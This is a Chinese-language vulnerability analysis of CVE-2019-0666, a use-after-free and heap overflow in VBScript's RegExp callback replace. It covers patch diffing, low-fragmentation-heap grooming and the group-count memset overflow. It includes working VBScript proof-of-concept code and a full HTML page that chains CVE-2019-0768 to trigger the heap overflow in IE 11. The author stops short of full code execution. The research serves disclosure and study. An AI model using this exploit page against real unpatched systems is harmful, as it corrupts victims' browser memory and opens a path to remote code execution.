一、概述
任何使用RegEx的开发者,应该都知道其中的风险。但是,是否存在一种可能,导致开发者将RegEx编写得非常糟糕,以至于产生远程代码执行的风险?如果使用的是VBScript,那么答案是肯定的。
在本文中,我将详细分析CVE-2019-0666漏洞。在2019年3月发布的安全补丁中,修复了同一段代码中的多个安全漏洞,目前其CVE编号尚不明确。
需要注意的是,我没有找到这个漏洞的实际存在,我是从2019年3月的安全补丁中逆向分析获得了这一漏洞的详细情况。
二、二进制比较
我们针对补丁修复之前和之后的VBScript.dll,运行BinDiff,可以看到返回结果中得到的一些更改内容。
在RegExp类中发生的两个变化,引起了我的关注。我们很容易看到,在例如RegEx解析器这样复杂的代码中是如何出现漏洞的。我们就从这里开始。
2.1 RegExp::AddRef
这一改动非常简单,但首先需要我们了解什么是引用跟踪:
· 创建对象的引用:引用计数器加1。
· 删除对象的引用:引用计数器减1。
· 引用计数器为0:可以删除对象。
引用跟踪旨在防止正在使用的对象(释放后使用)的重新分配。直到对象的所有引用都被销毁之前,始终不应该删除对象。
如果引用计数增加到0x7FFFFFFF以上(有符号整数的最大值),那么更新的函数将会导致解释器退出。其更新的原因是在于防止潜在的整数溢出。
从理论上说,通过创建足够的引用,可以将引用计数器循环归零。一旦计数器为零,就可以在引用仍然存在时释放对象。
实际上,要导致整数溢出,我们必须创建4294967296个引用。如果我们乐观一些,可以假设单个引用只有4个字节,这需要使用大约17GB的RAM。尽管,在这一过程中,很早之前就已经达到了解释器的内存限制。
如果单独仅存在这一点,显然这一漏洞不会造成威胁。然而,结合另一个漏洞,可能会导致Use-After-Free(UAF)漏洞。举例来说,可能会产生引用泄露的问题。
2.2 RegExpExec::ReplaceUsingCallable
需要注意的是,这个函数过大,我们无法在文章中完全包含所有内容,因此我只重点展示了与之相关的修改部分。
目前,代码创建一个被a6(参数6)指向的内存副本。为了理解其根本原因,我们来看看下一处修改的位置。
在旧代码中,验证了a6是否指向Buf1。但在修复后的版本中,增加了个一个额外的检查,将Buf1与之前的*a6副本(Buf2)进行比较。
验证a6是否指向Buf1的代码的存在,说明了一些重要的事情:理论上,a6应该指向Buf1,但实际中它可能没有。此外,新的检查意味着可能会在第一次和第二次Exec调用之间更改Buf1。
至此,我已经非常确定,我们正在寻找的是免费的UAF。在修复完成后,现在将会验证a6是否仍然转喜爱那个Buf1,并且Buf1的内容是否没有改变。
这两个检查之所以共存,其逻辑原因是,Buf1是一些已经分配的内存,可以在调用ReplaceUsingCallable()期间被释放。假设Buf1被释放,并且在相应位置已经分配了其他的内容,但此时*a6仍然会指向Buf1,但Buf1现在已经包含了不同的数据。目前,代码经过修复后,可以验证Buf1是否保持不变。
要更多的了解修复后的漏洞,我们需要进一步了解RegExp。
三、替换RegExp
由于RegExp具有替换函数,该函数用特定值替换特定模式的一个或多个匹配内容。以下面的代码为例:
Set regex = New RegExp regex.Pattern = "a" regex.Global = False MsgBox regex.replace("aaa", "b")
上面的代码,将使用“b”替换字符串“aaa”中的第一个“a”实例。因此,MsgBox会输出“baa”。通过调用,我发现在内部,replace()方法调用ReplaceUsingString()。我们需要对ReplaceUsingCallable()进行分析,我们的目标非常明确。
3.1 ReplaceUsingCallable
顾名思义,我们可以使用可调用的对象作为参数,来调用replace()。首先,我进行了一些研究,来弄明白如何实现。
下面的代码与修复前版本的代码相同,但替换为调用ReplaceUsingCallable()。
Set regex = New RegExp regex.Pattern = "a" regex.Global = False MsgBox regex.replace("aaa", GetRef("lolRegex")) Function lolRegex(singleMatch, position, fullString) lolRegex = "b" End Function
基本上,只要模式匹配,就会调用函数“lolregex”(这被称为回调)。回调必须要返回我们想要替换的模式(在我们的示例中,是“b”)。
现在,我更加确定,这里面存在某种Use-After-Free漏洞。我的猜测是,在回调期间,我们可以释放Buf1,并在同一地址分配其他内容。但首先,我们必须知道Buf1是什么。
四、Buf1之谜
Buf1作为函数的参数传递,所以我在ReplaceUsingCallable()的开始部分设置了一个断点。当断点被触发后,我们就可以导航到Buf1的内存部分。
Buf1在堆上分配,在内存的末尾还有两个“a”。我们认为,“a”可能与我的RegEx模式相关,因此我将相关模式更改为“lolregex”。
成功。现在,我们就证明了Buf1与我的RegEx模式有关。
我们的回调是在ReplaceUsingCallable()的中间调用的,所以我决定在那里修改模式。
Set regex = New RegExp regex.Pattern = "a" regex.Global = False MsgBox regex.replace("aaa", GetRef("lolRegex")) Function lolRegex(singleMatch, position, fullString) 'Change the RegEx pattern during the callback regex.Pattern = "I probably shouldn't be allowed to do this" lolRegex = "b" End Function
该脚本返回错误代码0x80004005。单个位置返回0x80004005,这是之前的指针检查。
我在指针检查上,设置了一个断点,并检查了*a6和Buf1。Buf1仍然是原来的RegEx模式的地址(现在已经解除分配)。不幸的是,*a6现在已经设置为null。要利用这个漏洞,需要将*a6设置回Buf1的地址。
五、通过指针验证
经过大量的逆向工程后,我发现了问题所在。尽管将regex.Pattern设置为新的值,可以释放Buf1,但它不会分配新的缓冲区。
经过深入挖掘,我发现函数RegExpComp::Compile()负责创建Buf1。不幸的是,我们无法在VBScript中显式调用regex.compile()(尽管在其他语言中也是如此)。
由于compile()是一个VTable函数,所以我不能只看XRef来查看它被调用的位置。相反,我在Compile()的开始部分设置了一个断点,然后我检查了调用栈。
有一些不出所料的是,在调用regex.replace()的期间会调用compile()。通过在回调中对replace()进行冗余调用,可以强制编译我的新模式。
Set regex = New RegExp regex.Pattern = "a" regex.Global = False MsgBox regex.replace("aaa", GetRef("lolRegex")) Function lolRegex(singleMatch, position, fullString) regex.Pattern = "I probably shouldn't be allowed to do this" call regex.replace("", "") 'force pattern compile but do nothing lolRegex = "b" End Function
现在,当我再次运行我的脚本时,检查会再次失败,但原因有所不同。
这里的问题非常简单,新编译的模式必须在原来的同一地址分配。我们无法明确决定堆内存的分配位置,但是,还有一个解决方案。
六、堆漏洞利用问题
我不会太深入了解堆的工作原理。如果大家想要更加深入地了解,我建议阅读关于“堆风水”的原始文章。
在分配小块内存时,堆分配器使用算法来选择一些可用的空间。
6.1 堆聚合
在释放块时,堆分配器会检查相邻块中的任何一个是否同样是空闲的。如果两个相邻块是空闲的,那么会将它们合并为一个更大的块(Coalescing)。
在尝试进行Use-After-Free漏洞利用后,堆聚合成为了一个问题。乳沟我们需要重新分配的块向下合并,那么新的缓冲区将分配在一个较低的地址。
为了阻止合并的发送,我们可以滥用低碎片堆(Low-Fragmentation Heap)。
七、低碎片堆
由于分配器必须搜索空闲块,以适合所请求的大小,因此堆分配本身就是一个很慢的过程。
LFH通过将相同大小的堆分配组合在一起来提高性能。假设请求了30字节的分配,如果存在所有分配为30字节的专用堆,那么分配器可以简单地返回第一个空闲块(无需检查其大小)。由于LFH上的所有块必须满足大小相同,因此将会禁用堆聚合。
在Windows XP及更低版本上,不支持LFH。但是,这并不是问题,因为这样的系统很容易通过其他堆利用技术来实现漏洞利用,它们往往缺乏相应的缓解机制。
7.1 LFH分配顺序随机化
在Windows 8及更高版本上,引入了新的缓解措施,从而进一步简化Use-After-Free的漏洞利用。现在,LFH不再连续分配块,而是采用随机化的顺序。分配器保存一个空闲块的列表,在每次请求分配时会随机选择一个。
幸运的是,LFH随机化对我们来说不是问题,我们来详细分析一下其原因。
当Use-After-Free漏洞利用无法重新分配目标地址时,通常会发生以下3种情况中的一种。
1、内存未分配。在这种情况下,程序在尝试使用未初始化的内存时,会发生崩溃。
2、内存由其他部分重新分配。在这种情况下,程序在试图使用一些随机数据时,会发生崩溃。
3、程序对内存执行完整性检查。如果相应位置存在意料之外的内容,则发生失败。
还记得我们试图绕过的指针检查吗?基本上,它验证了通过调用RegExpComp::Compile(即:包含有效的RegEx模式)分配的内存。如果我们无法重新分配相同的地址,就无法绕过指针检查,因此程序也不会崩溃。
我们需要做的,就是设置一个异常处理程序,然后继续尝试在原来的地址分配新的模式。谁说安全检查对漏洞利用开发者没有好处呢?
'Just keep swimming... On Error Resume Next Set regex = new RegExp regex.Global = False 'Re-allocate the pattern 19 times to enable LFH for this size allocation For idx=0 To 19 regex.Pattern = pattern call regex.Replace("", "") Next 'Attempt to trigger the use-after-free up to 5000 For idx=0 To 4999 regex.Pattern = "aaaaa" retval = regex.Replace("aaaaabbbbb", GetRef("lolRegex")) 'if function returns succesfully, then our use-after-free succeeded If retval Then MsgBox "Attempt number " & idx & " succeeded!", 48, "Great Success!!!" Exit For End If Next Function lolRegex(singleMatch, position, fullString) 'replace pattern with one of same size so it goes on same LFH regex.Pattern = "bbbbb" call regex.Replace("", "") 'force pattern compile lolRegex = "c" End Function
运行新脚本后,我们将得到类似的内容。该脚本即使是在启用了所有堆缓解的Windows 10上也同样有效。
现在的问题是,这有什么用?要使用LFH,原有模式和新模式必须大小相同。我们不禁要问,为什么要用一个相同大小的新模式来替换一个RegEx模式就可以实现漏洞利用呢?实际上,在这种情况下,大小无关紧要。
八、恶意行为模式
接下来,我主要寻找基于模式缓冲区中包含的数据进行的分配。我将分配范围缩小到替换模式缓冲区之前的分配,但将其放到替换之后再使用。由此,我发现了一个思路。
在查看了模式的编译之后,我开始意识到,“Cgrp”是RegEx模式中的分组数量。分配在调用ReplaceUsingCallable()之前完成。因此,在我重新分配模式的过程中,它一直存在。
RegExp::ReplaceUsingCallable()对名称为RegExpExec::Exec()的函数进行多次调用。Exec()负责执行实际的模式匹配。其中的代码如下。
其中,memset将基于我们的模式的Cgrp值来完成工作,而这个值是我们可以改变的。如果我们重新编译具有相同大小,但具有更多正则表达式组的模式,将会溢出“group_array”。
举例来说,模式“aaaaaa”包含1个组,而“(a)(a)”则包含2个组,并且长度相同。由于memset设置了整个缓冲区,因此每个组中模式的大小是无关紧要的。
九、RegEx漏洞利用要求
为了成功执行堆溢出,需要有一些前提条件。
首先,在替换模式缓冲区后,必须调用RegExpExec::Exec()。可以通过将RegExp.Global选项设置为True来实现。
在设置Global时,RegExp::ReplaceUsingCallable将替换给定模式的每个实例。流程如下。
1、调用RegExpExec::Exec(),以查看源字符串中是否存在正则表达式模式的匹配项。
2、如果找到模式匹配,则调用提供的回调。
3、将匹配替换为回调返回的值。
4、如果设置了Global,则进入步骤1-3的循环之中,直至所有匹配替换完成。
我们可以做的,是将Global设置为True,然后创建一个与原始模式匹配至少2次的字符串。当调用回调时,我将用相同大小的模式对其进行替换,但其中包含更多组。在第二次调用Exec()时,将会发生堆溢出。
经过一些计算,我发现了一个内部大小相同的单组和多组模式。我的恶意模式中包含30组,而原始模式中只包含1组。
malicious_pattern = "(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)" original_pattern = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
最终的代码将使用无效数据溢出堆,从而导致程序崩溃。为了演示,我将该漏洞与CVE-2019-0768进行组合利用,从而允许在IE 11中执行VBScript。
<html> <head> <title>lolregex</title> <!-- Bypasses IE11's VBScript execution policy by telling it to pretend to be IE10 (CVE-2019-0768) --> <meta http-equiv="x-ua-compatible" content="IE=10" /> <script language="VBScript"> 'Just keep swimming... On Error Resume Next malicious_pattern = "(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)" original_pattern = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" Set regex = new RegExp regex.Global = True 'Re-allocate the pattern 19 times to enable LFH for this size allocation For idx=0 To 19 regex.Pattern = original_pattern call regex.Replace("", "") Next 'Attempt to trigger the use-after-free up to 10,000 times For idx=0 To 9999 regex.Pattern = original_pattern 'ensure source_string matches original_pattern by appending it twice source_string = original_pattern & original_pattern retval = regex.Replace(source_string, GetRef("lolRegex")) 'if function returns succesfully, then our use-after-free succeeded If retval Then MsgBox "Attempt number " & idx & " succeeded!", 48, "Great Success!!!" Exit For End If Next Function lolRegex(singleMatch, position, fullString) 'replace pattern with one of same size so it goes on same LFH regex.Pattern = malicious_pattern call regex.Replace("", "") 'force pattern compile lolRegex = "c" End Function </script> </html>
现在,我们尝试在没有安装2019年3月安全补丁更新的系统上,使用IE 11访问该页面。在测试过程中,我使用了Windows 7操作系统,因为大多数崩溃都是发生在Windows 10上。
十、总结
这一漏洞,提供了一个越界(OOB)的写入原语,可以以通用堆或者低碎片堆为目标实现漏洞利用。在具有这样的原语之后,就可以提升到任意读取/写入,从而实现远程代码执行。由于众所周知的原因,我不会提供有关如何实现武器化攻击的任何信息。
有趣的是,这里可以绕过“启用ActiveX”提示。将脚本编译为一个安全的初始化ActiveX对象,会导致它立即运行,而不会发出任何警告。此外,可以在具有IE引擎的任何应用程序中触发这一漏洞的利用,甚至可以在Office文档中触发代码执行,而无需启用宏。
以上就是我们进行漏洞分析的全部内容,感谢各位读者能耐心阅读我关于如何编写安全可靠的RegEx的分析。
十一、参考文章
VBScript RegEx回调:http://cwestblog.com/2011/07/18/vbscript-regexp-replace-using-a-callback-function/
堆风水:https://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf
还没有评论,来说两句吧...